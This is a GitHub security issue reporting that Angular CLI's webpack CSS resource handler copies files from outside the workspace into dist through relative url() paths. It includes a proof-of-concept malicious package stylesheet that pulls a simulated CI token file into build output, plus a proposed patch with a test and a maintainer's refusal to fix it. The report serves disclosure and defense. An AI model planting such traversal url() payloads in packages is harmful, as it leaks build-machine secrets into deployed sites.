Angular CLI webpack browser builds copy external local files into dist via CSS url()

[foxllb]

Command

build

Is this a regression?

• Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was

No response

Description

Report description

Angular CLI webpack browser builds copy external local files into dist via CSS url()

The problem

Please describe the technical details of the vulnerability

1. technical details

Angular CLI's webpack browser build pipeline registers PostcssCliResources for stylesheet processing:

plugins: [
  PostcssCliResources({
    baseHref: buildOptions.baseHref,
    deployUrl: buildOptions.deployUrl,
    resourcesOutputPath: buildOptions.resourcesOutputPath,
    loader,
    filename: assetNameTemplate,
    emitFile: buildOptions.platform !== 'server',
    extracted,
  }),
  ...extraPostcssPlugins,
  autoprefixer({

The same PostCSS resource handler is applied to the stylesheet loaders used by browser builds:

const globalStyleLoaders: RuleSetUseItem[] = [
  {
    loader: MiniCssExtractPlugin.loader,
  },
  {
    loader: require.resolve('css-loader'),
    options: {
      url: false,
      sourceMap: !!cssSourceMap,
      importLoaders: 1,
    },
  },
  {
    loader: postCssLoaderPath,
    options: {
      implementation: postCss,
      postcssOptions: postcssOptionsCreator(false, true),
      sourceMap: !!cssSourceMap,
    },
  },
];

Inside PostcssCliResources, a relative url(...) is parsed, resolved on disk, read, and emitted into the output:

const { pathname, hash, search } = url.parse(inputUrl.replace(/\\/g, '/'));
const result = await resolve(pathname as string, context, resolver);

return new Promise<string>((resolve, reject) => {
  loader.fs.readFile(result, (err, content) => {
    if (err) {
      reject(err);
      return;
    }

    let outputPath = interpolateName(
      { resourcePath: result } as Parameters<typeof interpolateName>[0],
      filename(result),
      {
        content,
        context: loader.context || loader.rootContext,
      },
    ).replace(/\\|\//g, '-');

    loader.addDependency(result);
    if (emitFile) {
      loader.emitFile(outputPath, content!, undefined, { sourceFilename: result });
    }

There is no check that the resolved file stays inside the Angular workspace or project root. As a result, a stylesheet can use a relative url(...) that escapes the workspace and points to an arbitrary readable local file. The file content is then copied into the browser build output as an emitted asset.

2. vulnerability reproduction

The attached PoC uses a realistic supply-chain style setup based on the current
local angular-cli repository code:

• it builds local package tarballs from the current worktree
• it creates a disposable Angular workspace that consumes those local tarballs
• the victim app imports a third-party stylesheet package
• that package contains a malicious relative url(...)

Application stylesheet:

/* Realistic entry: the app imports a third-party theme package. */
@import 'brand-ui/dist/theme.css';

Malicious package stylesheet:

.release-banner {
  background-image: url(../../../../build-secrets/release-token.txt);
  background-repeat: no-repeat;
  min-height: 2rem;
  padding: 0.5rem;
}

The PoC is executed with:

cd ./work/angular-cli/webpack_css_test
./run-poc.sh

Observed result:

Victim app stylesheet import:
@import 'brand-ui/dist/theme.css';

Generated stylesheet evidence:
5:  background-image: url('release-token.txt');

Leaked file in dist:
runtime/oss-docs-site/dist/oss-docs-site/release-token.txt

The generated stylesheet confirms that the escaping path was turned into a shipped asset reference:

.release-banner {
  background-image: url('release-token.txt');
  background-repeat: no-repeat;
}

The emitted file contains the local data read during the build:

# Simulated CI secret stored outside the Angular workspace
NPM_TOKEN=demo-release-token-should-never-ship
INTERNAL_REGISTRY=https://registry.example.internal/npm

This PoC intentionally does not include a control case. It demonstrates the
realistic impact path only: a successful webpack browser build that ships a
readable local file from outside the workspace into dist/.

Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so

An attacker who can introduce a malicious stylesheet dependency, or otherwise cause an Angular project to build attacker-controlled CSS with the webpack browser builder, can exploit this issue.

Successful exploitation lets the attacker copy readable local files from the build machine into the generated frontend artifacts. In practice, this exposes sensitive local files such as tokens or internal configuration files by embedding them into deployable static output.

webpack_css_test.tar.gz

Minimal Reproduction

webpack_css_test.tar.gz

Exception or Error

Your Environment

latest code

Anything else relevant?

No response

[foxllb]

patch

diff --git a/packages/angular_devkit/build_angular/src/tools/webpack/plugins/postcss-cli-resources.ts b/packages/angular_devkit/build_angular/src/tools/webpack/plugins/postcss-cli-resources.ts
index 37ee30b..bea3247 100644
--- a/packages/angular_devkit/build_angular/src/tools/webpack/plugins/postcss-cli-resources.ts
+++ b/packages/angular_devkit/build_angular/src/tools/webpack/plugins/postcss-cli-resources.ts
@@ -25,6 +25,12 @@ function wrapUrl(url: string): string {
   return `url(${wrappedUrl})`;
 }
 
+function isWithinBasePath(basePath: string, targetPath: string): boolean {
+  const relativePath = path.relative(basePath, targetPath);
+
+  return relativePath === '' || (!relativePath.startsWith('..') && !path.isAbsolute(relativePath));
+}
+
 export interface PostcssCliResourcesOptions {
   baseHref?: string;
   deployUrl?: string;
@@ -106,6 +112,12 @@ export default function (options?: PostcssCliResourcesOptions): Plugin {
       });
 
     const result = await resolve(pathname as string, context, resolver);
+    const workspaceRoot = path.resolve(loader.rootContext || loader.context);
+    const resolvedResult = path.resolve(result);
+
+    if (!isWithinBasePath(workspaceRoot, resolvedResult)) {
+      throw new Error(`The stylesheet resource "${inputUrl}" resolved outside the workspace root.`);
+    }
 
     return new Promise<string>((resolve, reject) => {
       loader.fs.readFile(result, (err, content) => {
diff --git a/packages/angular_devkit/build_angular/src/builders/browser/specs/styles_spec.ts b/packages/angular_devkit/build_angular/src/builders/browser/specs/styles_spec.ts
index b91062b..06c522f 100644
--- a/packages/angular_devkit/build_angular/src/builders/browser/specs/styles_spec.ts
+++ b/packages/angular_devkit/build_angular/src/builders/browser/specs/styles_spec.ts
@@ -7,8 +7,9 @@
  */
 
 import { Architect } from '@angular-devkit/architect';
-import { normalize, tags } from '@angular-devkit/core';
-import { dirname } from 'node:path';
+import { getSystemPath, normalize, tags } from '@angular-devkit/core';
+import { rmSync, writeFileSync } from 'node:fs';
+import { dirname, join } from 'node:path';
 import { browserBuild, createArchitect, host } from '../../../testing/test-utils';
 
 describe('Browser Builder styles', () => {
@@ -553,6 +554,34 @@ describe('Browser Builder styles', () => {
     expect(output.success).toBe(true);
   });
 
+  it('fails when a stylesheet url resolves outside the workspace root', async () => {
+    const workspaceRoot = getSystemPath(host.root());
+    const externalAssetPath = join(dirname(workspaceRoot), 'outside-workspace-asset.txt');
+
+    writeFileSync(externalAssetPath, 'secret');
+
+    try {
+      host.writeMultipleFiles({
+        'src/styles.css': `@import 'brand-ui/dist/theme.css';`,
+        'node_modules/brand-ui/package.json': `{"name":"brand-ui","version":"0.0.0"}`,
+        'node_modules/brand-ui/dist/theme.css': `
+          body {
+            background-image: url('../../../../outside-workspace-asset.txt');
+          }
+        `,
+      });
+
+      const run = await architect.scheduleTarget(target, { optimization: true });
+      try {
+        await expectAsync(run.result).toBeResolvedTo(jasmine.objectContaining({ success: false }));
+      } finally {
+        await run.stop();
+      }
+    } finally {
+      rmSync(externalAssetPath, { force: true });
+    }
+  });
+
   extensionsWithImportSupport.forEach((ext) => {
     it(`retains declarations order in ${ext} files when using @import`, async () => {
       host.writeMultipleFiles({

[alan-agius4]

The provided report relies on a malicious third-party dependency (a "supply-chain" attack). In the Node.js ecosystem, once a developer installs and executes code from a malicious package (including builders or schematics), the attacker has already achieved Arbitrary Code Execution.

If an attacker can control the contents of a stylesheet or a dependency inside your project, they can already execute scripts (e.g., via postinstall hooks or side effects during execution) to access the file system, environment variables, or make network requests using built-in modules like http or fetch.

Angular CLI operates under the requirement that it must trust the source code it is compiling and the third-party packages installed in the workspace. There is no practical way for the CLI to distinguish between a legitimate resource being pulled from a deep directory structure and a malicious one intended for exfiltration.

While we recognize the "defense in depth" argument regarding path traversal, the exploit scenario is extremely narrow. To trigger this:

1. An attacker must already have the ability to inject code or files into the project's dependency tree.
2. If they have this ability, they have much more direct and effective ways to exfiltrate data (such as reading process.env directly) than relying on a CSS url() resolution during a build.

Because the "malicious" input is treated as data/configuration within a trusted environment, we view this as a matter of package integrity rather than a flaw in the Angular CLI's resource handling. If a schema or stylesheet is untrusted, it should not be processed by the build pipeline.

We do not believe a fix is necessary at this time. We appreciate your interest in keeping Angular secure.